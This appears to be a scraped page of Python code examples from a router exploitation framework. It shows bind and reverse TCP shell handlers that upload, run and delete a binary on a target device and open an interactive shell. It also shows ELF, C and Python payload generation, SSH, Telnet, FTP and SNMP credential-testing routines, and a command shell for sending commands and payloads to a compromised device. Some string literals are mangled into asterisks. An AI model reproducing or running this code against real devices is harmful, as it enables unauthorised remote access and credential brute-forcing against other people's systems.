Beispiel #1
0
 def bind_tcp(self):
     # execute binary
     commands = self.build_commands()
     # synchronized commands
     for command in commands[:-1]:
         self.exploit.execute(command)
     # asynchronous last command to execute binary & rm binary
     thread = threading.Thread(target=self.exploit.execute,
                               args=(commands[-1], ))
     thread.start()
     # connecting to shell
     print_status("Connecting to {}:{}".format(self.options['rhost'],
                                               self.options['rport']))
     time.sleep(2)
     try:
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         sock.connect((self.options["rhost"], int(self.options["rport"])))
     except socket.error:
         print_error("Could not connect to {}:{}".format(
             self.options["rhost"], self.options["rport"]))
         return
     print_success("Enjoy your shell")
     tn = telnetlib.Telnet()
     tn.sock = sock
     tn.interact()
Beispiel #2
0
 def run(self):
     print_status("Generating payload")
     try:
         data = self.generate()
     except OptionValidationError as error_code:
         print_error(error_code)
         return
     if self.output == "elf" or self.output == "ELF":
         with open(self.file_path, "wb+") as f:
             print_status("Building ELF payload")
             content = self.generate_elf(data)
             print_success("Saving file: {}".format(self.file_path))
             f.write(content)
     elif self.output == "c" or self.output == "C":
         print_status("Building payload for C")
         content = self.generate_c(data)
         print_info(content)
     elif self.output == "python" or self.output == "Python":
         print_status("Building payload for Python")
         content = self.generate_python(data)
         print_info(content)
     else:
         raise OptionValidationError("No such option as {}".format(
             self.output))
     return content
Beispiel #3
0
 def reverse_tcp(self):
     all_interfaces = "0.0.0.0"
     sock = self.listen(all_interfaces, self.options["lport"])
     if self.port_used:
         print_error("Could not set up listener on {}:{}".format(
             all_interfaces, self.options["lport"]))
         return
     # execute binary
     commands = self.build_commands()
     print_status("Executing payload on the device")
     # synchronized commands
     for command in commands[:-1]:
         self.exploit.execute(command)
     # asynchronous last command to execute binary & rm binary
     thread = threading.Thread(target=self.exploit.execute,
                               args=(commands[-1], ))
     thread.start()
     # waiting for shell
     print_status("Waiting for reverse shell...")
     client, addr = sock.accept()
     sock.close()
     print_status("Connection from {}:{}".format(addr[0], addr[1]))
     print_success("Enjoy your shell")
     t = telnetlib.Telnet()
     t.sock = client
     t.interact()
Beispiel #4
0
 def login_private_key(self,
                       username: str,
                       private_key: str,
                       retries: int = 1) -> bool:
     """ Login to SSH server with private key
     :param str username: SSH account username
     :param str private_key: SSH account private key
     :param int retries: number of login retries
     :return bool: True if login was successful, False otherwise
     """
     if "DSA PRIVATE KEY" in private_key:
         private_key = paramiko.DSSKey.from_private_key(
             io.StringIO(private_key))
     elif "RSA PRIVATE KEY" in private_key:
         private_key = paramiko.RSAKey.from_private_key(
             io.StringIO(private_key))
     else:
         return False
     for _ in range(retries):
         try:
             self.ssh_client.connect(self.ssh_target,
                                     self.ssh_port,
                                     timeout=SSH_TIMEOUT,
                                     banner_timeout=SSH_TIMEOUT,
                                     username=username,
                                     pkey=private_key,
                                     look_for_keys=False)
         except paramiko.AuthenticationException:
             print_error(
                 self.peer,
                 "SSH Authentication Failed - Username: '******' auth with private key"
                 .format(username),
                 verbose=self.verbosity)
         except Exception as err:
             print_error(
                 self.peer,
                 "SSH Error while authenticated by using private key",
                 err,
                 verbose=self.verbosity)
         else:
             print_success(
                 self.peer,
                 "SSH Authentication Successful - Username: '******' with private key"
                 .format(username),
                 verbose=self.verbosity)
             return True
         self.ssh_client.close()
     return False
Beispiel #5
0
 def login(self, username: str, password: str, retries: int = 1) -> bool:
     """ Login to Telnet server
     :param str username: Telnet account username
     :param str password: Telnet account password
     :param int retries: number of authentication retries
     :return bool: True if login was successful, False otherwise
     """
     for _ in range(retries):
         try:
             if not self.connect():
                 continue
             self.telnet_client.expect(
                 [b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n")
             self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n")
             self.telnet_client.write(b"\r\n")
             (i, obj,
              res) = self.telnet_client.expect([b"Incorrect", b"incorrect"],
                                               5)
             if i == -1 and any([
                     x in res for x in [b"#", b"$", b">"]
             ]) or len(res) > 500:  # big banner e.g. mikrotik
                 print_success(
                     self.peer,
                     "Telnet Authentication Successful - Username: '******' Password: '******'"
                     .format(username, password),
                     verbose=self.verbosity)
                 return True
             else:
                 print_error(
                     self.peer,
                     "Telnet Authentication Failed - Username: '******' Password: '******'"
                     .format(username, password),
                     verbose=self.verbosity)
                 break
         except Exception as error_code:
             print_error(self.peer,
                         "Telnet Error while authenticating to the server",
                         error_code,
                         verbose=self.verbosity)
     return False
Beispiel #6
0
 def login(self, username: str, password: str, retries: int = 1) -> bool:
     """ Login to SSH server
     :param str username: SSH account username
     :param str password: SSH account password
     :param int retries: number of login retries
     :return bool: True if login was successful, False otherwise
     """
     for _ in range(retries):
         try:
             self.ssh_client.connect(self.ssh_target,
                                     self.ssh_port,
                                     timeout=SSH_TIMEOUT,
                                     banner_timeout=SSH_TIMEOUT,
                                     username=username,
                                     password=password,
                                     look_for_keys=False)
         except paramiko.AuthenticationException:
             print_error(
                 self.peer,
                 "SSH Authentication Failed - Username: '******' Password: '******'"
                 .format(username, password),
                 verbose=self.verbosity)
             self.ssh_client.close()
             break
         except Exception as err:
             print_error(self.peer,
                         "SSH Error while authenticating",
                         err,
                         verbose=self.verbosity)
         else:
             print_success(
                 self.peer,
                 "SSH Authentication Successful - Username: '******' Password: '******'"
                 .format(username, password),
                 verbose=self.verbosity)
             return True
         self.ssh_client.close()
     return False
Beispiel #7
0
 def login(self, username: str, password: str) -> bool:
     """ Login to FTP server
     :param str username: FTP account username
     :param str password: FTP account password
     :return bool: True if login was successful, False otherwise
     """
     try:
         self.ftp_client.login(user=username, passwd=password)
         print_success(
             self.peer,
             "FTP Authentication Successful, Username: {}, Password: {}".
             format(username, password),
             verbose=self.verbosity)
         return True
     except Exception as error_code:
         print_error(
             self.peer,
             "FTP Authentication Failed, Username: {}, Password: {}".format(
                 username, password),
             error_code,
             verbose=self.verbosity)
     self.ftp_client.close()
     return False
Beispiel #8
0
 def get(self,
         community_string: str,
         oid: str,
         version: int = 1,
         retries: int = 0) -> bytes:
     """ Get OID from SNMP server
     :param str community_string: SNMP server communit string
     :param str oid: SNMP server oid
     :param int version: SNMP protocol version
     :param int retries: number of retries
     :return bytes: SNMP server response
     """
     cmd_generator = cmdgen.CommandGenerator()
     try:
         error_indication, error_status, error_index, var_binds = cmd_generator.getCmd(
             cmdgen.CommunityData(community_string, mpModel=version),
             cmdgen.UdpTransportTarget((self.snmp_target, self.snmp_port),
                                       timeout=SNMP_TIMEOUT,
                                       retries=retries), oid)
     except Exception as error_code:
         print_error(self.peer,
                     "SNMP Error while accessing server",
                     error_code,
                     verbose=self.verbosity)
         return None
     if error_indication or error_status:
         print_error(
             self.peer,
             "SNMP Invalid community string: '{}'".format(community_string),
             verbose=self.verbosity)
     else:
         print_success(self.peer,
                       "SNMP Valid community string found: '{}'".format(
                           community_string),
                       verbose=self.verbosity)
         return var_binds
     return None
Beispiel #9
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    available_payloads = {}
    payload = None
    options = []
    if architecture and method:
        path = "modules/payloads/{}/".format(architecture)
        # get all payloads for given architecture
        all_payloads = [
            f.split(".")[0] for f in listdir(path) if isfile(join(path, f))
            and f.endswith(".py") and f != "__init__.py"
        ]
        payload_path = path.replace("/", ".")
        for p in all_payloads:
            module = getattr(
                importlib.import_module("{}{}".format(payload_path, p)),
                'Payload')
            # if method/arch is cmd then filter out payloads
            if method is "cmd":
                if getattr(module, "cmd") in payloads:
                    available_payloads[p] = module
            else:
                available_payloads[p] = module
    print_info()
    print_success(
        "Welcome to cmd. Commands are sent to the target via the execute method."
    )
    print_status(
        "For further exploitation use 'show payloads' and 'set payload <payload>' commands."
    )
    print_info()
    while True:
        while not PrinterQueue.empty():
            pass
        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(
                payload._Payload__info__["name"])
        cmd = input(cmd_str)
        if cmd in ["quit", "exit"]:
            return
        elif cmd == "show payloads":
            if not available_payloads:
                print_error("There are no available payloads for this exploit")
                continue
            print_status("Available payloads:")
            headers = ("Payload", "Name", "Description")
            data = []
            for p in available_payloads.keys():
                data.append(
                    (p, available_payloads[p]._Payload__info__["name"],
                     available_payloads[p]._Payload__info__["description"]))
            print_table(headers, *data)
        elif cmd.startswith("set payload "):
            if not available_payloads:
                print_error("There are no available payloads for this exploit")
                continue
            c = cmd.split(" ")
            if c[2] in available_payloads.keys():
                payload = available_payloads[c[2]]()
                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([
                            option,
                            getattr(payload, option),
                            payload.exploit_attributes[option][1]
                        ])
                if payload.handler == "bind_tcp":
                    options.append(
                        ["rhost", exploit.target, "Target IP address"])
                    if method == "wget":
                        options.append(
                            ["lhost", "", "Connect-back IP address for wget"])
                        options.append(
                            ["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")
        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")
                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()
            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(
                                    c[1]))
                                break
                            option[1] = c[2]
                            print_info("{} => {}".format(c[1], c[2]))
            elif cmd == "run":
                data = payload.generate()
                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    if communication.wget() is False:
                        print_error("Exploit failed to transfer payload")
                        continue
                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    communication.echo()
                elif method == "cmd":
                    params["exec_binary"] = data
                    communication = Communication(exploit, "", options,
                                                  **params)
                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()
            elif cmd == "back":
                payload = None
        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))